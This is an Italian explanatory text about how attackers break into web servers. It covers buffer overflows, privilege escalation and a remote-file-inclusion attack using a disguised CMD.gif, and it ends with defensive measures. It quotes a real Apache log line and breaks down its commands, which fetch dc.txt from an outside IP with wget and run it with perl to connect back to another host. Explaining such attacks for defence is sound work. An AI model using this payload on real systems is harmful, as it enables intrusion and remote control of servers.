Gli exploit per loro stessa natura cercano di non essere rilevati. Quindi la maggior parte degli exploit non entra nel sistema con mezzi normali, almeno non inizialmente. Di solito usano qualcosa come un overflow del buffer per ottenere l'accesso al sistema.
overflow del buffer
Questo stile di attacco cerca parti di un'applicazione che stanno cercando di ricevere input da un utente. Pensa a una pagina web e alle varie caselle di testo in cui devi fornire informazioni digitando cose in queste caselle di testo. Ognuna di queste caselle di testo è un potenziale punto di ingresso per un potenziale utente malintenzionato.
La buona notizia:
- la maggior parte di questi attacchi non ottiene l'accesso come root, ma ottiene l'accesso a un account utente configurato specificamente per il server Web, quindi in genere ha un accesso limitato solo ai file e alle funzioni del server Web.
- l'irruzione dell'attaccante ha lasciato una traccia considerevole in diverse aree.
- I log del firewall
- Log del server web
- Altri potenziali log degli strumenti di sicurezza
La cattiva notizia:
- Hanno ottenuto l'accesso a un sistema e quindi hanno una testa di ponte dove possono continuare a tentare di entrare ulteriormente.
- I registri. Sì, la maggior parte delle volte le effrazioni non vengono rilevate per settimane/mesi/anni, dato che l'analisi dei log richiede tempo ed è soggetta a errori.
rilevamento degli accessi root
La maggior parte dei sistemi è progettata per non consentire accessi root, quindi questo vettore di attacco non è davvero un problema. La maggior parte degli attacchi ottiene l'accesso a qualche altro account di livello inferiore e quindi sfrutta la possibilità di trovare ulteriori vulnerabilità una volta stabilita una testa di ponte sul tuo sistema.
esempio n. 1:
Un potenziale utente malintenzionato potrebbe ottenere l'accesso root procedendo come segue:
- Entra nell'account del server Web di un sistema trovando una pagina Web vulnerabile che elabora l'input di un utente da un modulo tramite caselle di testo.
- Una volta ottenuto l'accesso all'account del server Web, prova a ottenere l'accesso alla shell tramite l'account del server Web o cerca di ottenere che l'account del server Web esegua i comandi per tuo conto.
- Determina che c'è un punto debole nella versione di questo particolare sistema di uno strumento come il comando
ls
. - Overflow dello strumento
ls
per ottenere l'accesso all'account root.
esempio n. 2:
Un potenziale utente malintenzionato potrebbe anche non essere interessato a ottenere il pieno controllo del tuo sistema. La maggior parte delle effrazioni è interessata solo a sistemi di raccolta da utilizzare come "schiavi" per altri usi. Molto spesso l'attaccante è interessato solo a far installare il proprio software sul sistema in modo da poter utilizzare il sistema, senza nemmeno ottenere il pieno controllo del sistema.
- Determina che un determinato sito web ha reso disponibile la webapp X. L'attaccante sa che la webapp X presenta una vulnerabilità in cui la webapp X consente agli utenti di caricare file immagine.
- L'attaccante prepara un file chiamato
CMD.gif
e lo carica. Forse è l'immagine avatar di un utente su un sito di forum, per esempio. MaCMD.gif
non è un'immagine, è in realtà un programma, che si chiamaCMD.gif
. - L'attaccante carica "immagine" sul sito del forum.
- Ora l'attaccante "inganna" la webapp X facendogli eseguire la sua "immagine".
- L'attaccante effettua chiamate con il suo browser alla webapp X, ma la chiama in modi che gli autori della webapp X non avrebbero mai immaginato. Né hanno progettato la webapp X per impedirlo.
file di registro del server web di tale attacco
201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]
"GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?
&cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt
%2072.36.21.183%2021 HTTP/1.1" 200
NOTA: registro di esempio da un server web Apache per gentile concessione di OSSEC.net.
Qui l'attaccante sta ottenendo webapp X (index.php) per eseguire CMD.gif
che può quindi eseguire le seguenti operazioni:
cd /tmp
wget http://72.36.254.26/~fanta/dc.txt
perl dc.txt 72.36.21.183 21
Quindi hanno convinto la webapp X a cambiare le directory in /tmp
, scarica un file, dc.txt
, quindi esegui il file effettuando una connessione all'indirizzo IP 72.36.21.183 sulla porta 21.
Disabilitazione di un server "compromesso"
L'idea di poter arrestare un server che ha "rilevato" un exploit è un buon tentativo, ma non funziona per un paio di motivi.
- Se l'attaccante riesce a entrare nel primo sistema, allora probabilmente può entrare nel secondo sistema.
- La maggior parte dei sistemi sono essenzialmente cloni l'uno dell'altro. Sono più facili da mantenere e mantenere le cose semplici (le stesse) è un segno distintivo della maggior parte delle cose nell'IT e nei computer.
- Configurazioni diverse significano più lavoro nella manutenzione dei sistemi e maggiori opportunità di commettere errori, che di solito è ciò che porta a una vulnerabilità per cominciare.
- L'obiettivo degli aggressori potrebbe non essere quello di irrompere, ma potrebbe tentare di negare l'accesso al tuo servizio. Questo si chiama denial of service (DoS).
Tentativo di limitare i danni
Potrei andare avanti all'infinito, ma in generale hai a disposizione alcune risorse quando si tratta di proteggere un sistema.
- Utilizza strumenti come tripwire per rilevare le modifiche al file system di un sistema.
- Firewall:limita l'accesso in modo che sia esplicitamente consentito solo dove necessario, piuttosto che avere pieno accesso a tutto.
- Analizza i file di registro utilizzando strumenti per rilevare le anomalie.
- Mantieni i sistemi aggiornati e aggiornati con le patch.
- Limita l'esposizione - installa solo il software necessario su un sistema - se non richiede
gcc
compilatore installato, non installarlo. - IDS - software di rilevamento delle intrusioni.